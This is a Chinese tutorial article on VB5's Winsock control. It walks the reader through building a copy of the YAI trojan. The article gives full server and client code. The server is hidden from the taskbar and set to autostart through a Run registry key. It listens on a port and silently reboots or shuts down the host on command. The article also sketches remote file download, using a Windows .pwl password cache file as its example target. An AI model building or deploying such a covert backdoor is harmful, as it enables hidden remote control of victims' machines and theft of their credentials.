你也可以YAI-VB5中Winsock控件的使用2008-04-17前一段时间,一个名叫YAI的‘病毒’在我国闹的沸沸扬扬,许多不明真相的人对他感到神秘莫测,可是究其实质无非也就是一个远程控制软件罢了,只不过他的服务器端程序隐藏的十分好而已。其实在VB5中有一个基于TCPIP协议的Winsock控件,利用他改改属性,写几段代码,我们同样可以来一回YAI.由于篇幅所限,在这里我们只来看看对远程计算机的重启,关闭功能室如何实现的。打开VB5后,在工具箱中并不能看到Winsock控件,通过鼠标右键单击工具箱点“部件”,再将“Microsoft Winsock Control 5.0”选中确定后,就可以将Winsock控件添加到工具箱中了。远程控制功能是基于客户机/服务器这一模型来实现的,所以程序的编制也应分两部分进行:一部分是服务器端--也就是被控制的一方,另一部分是客户端--控制方。服务器程序要守侯在一个固定或不固定的网址(IP)上等待客户程序的请求;客户程序则向服务器程序所在的网址请求连接,连接成功后通过交换信息即可得到相应的服务。因此设置Winsock属性时,服务器端应设置LocalPort和应用Listen方法进行监听,客户程序则要设置RemoteHost和RemotePort及应用Connect方法请求连接,并用Senddata方法互换信息。下面是Winsock控件的相关属性,方法和事件。(略去一些暂用不到的)*属性-------------------------------------------------------------------------LocalHostName | 本地机器名LocalIP | 本地机器IP地址LocalPort | 本地机器通信程序的端口(0<端口<65536)RemoteHost | 远程机器名RemotePort | 远程机器的通信程序端口state | 连接的当前状态(文后有详细说明)Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)--------------------------------------------------------------------------*方法--------------------------------------------------------------------------ListenListen方法用于服务器程序,等待客户访问。格式:Winsock对象.listenConnectConnect方法用于向远程主机发出连接请求格式:Winsock对象.connect [远程主机IP,远程端口]AcceptAccept方法用于接受一个连接请求格式:Winsock对象.accept Request IDSenddata此方法用于发送数据格? Winsock对象.senddata 数据Getdata用来取得接收到的数据格式:Winsock对象.getdata 变量 [,数据类型 [,最大长度]]Close关闭当前连接格式:Winsock对象.close*事件----------------------------------------------------------------------------Close | 远程机器关闭连接时触发Connect | 连接建立好,可以进行通信时触发(客户端)ConnectRequest | 有请求连接到达时产生(服务器端)DataArrival | 有数据到达时触发Error | 发生错误时发生SendProgress | 数据传送进度-----------------------------------------------------------------------------程序代码如下:--》服务器端程序(server.exe)先在窗体中放置Winsock控件(他在运行时是看不见的),属性采用默认值,再设置Form1的属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可手工在注册表“HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun”中增加键值"winserver"="c:\windows\server.exe"或配置文件Win.ini的Load,run写入"C:windowsserver.exe"来达到目的。当然也可通过在VB5中调用API函数来实现对注册表的写入,这就更方便了,不过由于实现过程较复杂,就不在这里说了.Private Sub Form_Load()On Error GoTo skip 如此端口已有通信程序则退出Winsock1.LocalPort = 1334 端口值应大于1024,如还有冲突可改为其他值Winsock1.ListenExit Subskip:If Err.Number = 10048 ThenMsgBox "端口冲突,退出!", vbOKOnly, "注意!"EndEnd IfEnd SubPrivate Sub Winsock1_Close()If Winsock1.State <> sckClosed Then Winsock1.CloseWinsock1.Listen 关闭连接后继续监听End SubPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long)If Winsock1.State <> sckClosed Then Winsock1.CloseWinsock1.Accept requestID 请求到达时,接受连接End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim strget As StringDim ccom As StringWinsock1.GetData strget 读取到达的数据Select Case strgetCase "a" 判断到达的数据是否‘a’,是则重启,你也可自己定义(协议就是这样产生的)ccom = curr_win() + "RUNDLL.EXE user.exe,exitwindowsexec" 不同机器设置不一样Call Shell(ccom, vbHide) 由函数curr_win()来判断Case "b" 如为‘b’则关闭计算机ccom = curr_win() + "RUNDLL.EXE user.exe,exitwindows"Call Shell(ccom, vbHide) 函数shell来执行命令Case Else 可以在此加入其他命令End SelectEnd SubFunction curr_win() As StringDim i As IntegerDim enstr As Stringi = 1 此函数通过读取环境变量来获得Windows目录enstr = Environ(i)Do While enstr <> ""If Len(enstr) > 11 ThenIf Left(enstr, 11) = "winbootdir=" Thencurr_win = Right(enstr, Len(enstr) - 11)Exit DoEnd IfEnd Ifi = i + 1enstr = Environ(i)LoopEnd FunctionPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByValScode As Long, ByVal Source As String, ByVal HelpFile As String,ByVal HelpContext As Long, CancelDisplay As Boolean)MsgBox "错误", vbOKOnly, "注意!" 如程序出现错误,则简单的退出EndEnd Sub--》客户端程序(Client.exe)程序界面如图[control.jpg]防入四个命令按钮,一个标题框,一个Winsock控件,其属性设置如下:------------------------------------------------------------------------- -控件名 | 控件类 | 属性 | 属性值----------------------------------------------------------------------------closewin_but | commandbutton | caption | 远程关闭startwin_but | commandbutton | caption | 远程重启connect_but | commandbutton | caption | 连接exit_but | commandbutton | caption | 退出state_lab | label | borderstyle | 1-----------------------------------------------------------------------------代码如下:Private Sub Form_Load()Winsock1.LocalPort = 22226 本地端口可任选,只要不冲突且小于65535,用netstat -an命令可查看当前通信进程Winsock1.RemoteHost = "127.0.0.1" 调试时此IP将对本机操作,实际应用时可换上被控方IPWinsock1.RemotePort = 1334 对应服务器端的localportstate_lab = "未建立连接."End SubPrivate Sub closewin_but_Click()If Winsock1.State <> sckConnected Thenstate_lab = "请先建立连接"ElseWinsock1.SendData "b" 发出关闭命令End IfEnd SubPrivate Sub startwin_but_Click()If Winsock1.State <> sckConnected Thenstate_lab = "请先建立连接"ElseWinsock1.SendData "a" 发出重启命令End IfEnd SubPrivate Sub connect_but_Click()On Error GoTo skipIf Winsock1.State = sckConnected Thenstate_lab = "已建立连接了"ElseWinsock1.ConnectEnd IfExit Subskip: 用netstat命令看到状态为Time_wait则If Err.Number = 10048 Then 须等待一段时间才可连接,也可换另一端口,可加快连接速度MsgBox "端口正在使用,请稍后再试!", vbOKOnly, "注意!"EndEnd IfEnd SubPrivate Sub exit_but_Click()Winsock1.Close 关闭连接且退出EndEnd SubPrivate Sub Winsock1_Connect()state_lab = "建立连接成功!可发送命令."End SubPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String,ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,ByVal HelpContext As Long, CancelDisplay As Boolean)MsgBox "错误", vbOKOnly, "注意!"EndEnd Sub通过上面的例子,我们大概了解了远程控制的原理,对于其他功能的实现应该不难了。如文件的下载,可先让客户程序发一命令字串cc:windowslzh.pwl,服务器接收到命令字串后判断出首字母c为下载命令,则将所指定的命令文件c:windowslzh.pwl传送给客户端,完成相应的服务。需要注意的是,此程序只能建立一个连接,如要建立多个连接可通过在服务器端产生多个Winsock实例来接受请求.*****测试环境:Window98,MicroSoft Visual Basic 5.0企业版附:属性state值
常数 | 值 | 描述 |
sckClosed | 0 | 关闭状态 |
sckOpen | 1 | 打开状态 |
sckListening | 2 | 侦听状态 |
sckConnectionPending | 3 | 连接挂起 |
sckResolvingHost | 4 | 解析域名 |
sckHostResolved | 5 | 已识别主机 |
sckConnecting | 6 | 正在连接 |
sckConnected | 7 | 已连接 |
sckClosing | 8 | 同级人员正在关闭连接 |
sckError | 9 | 错误 |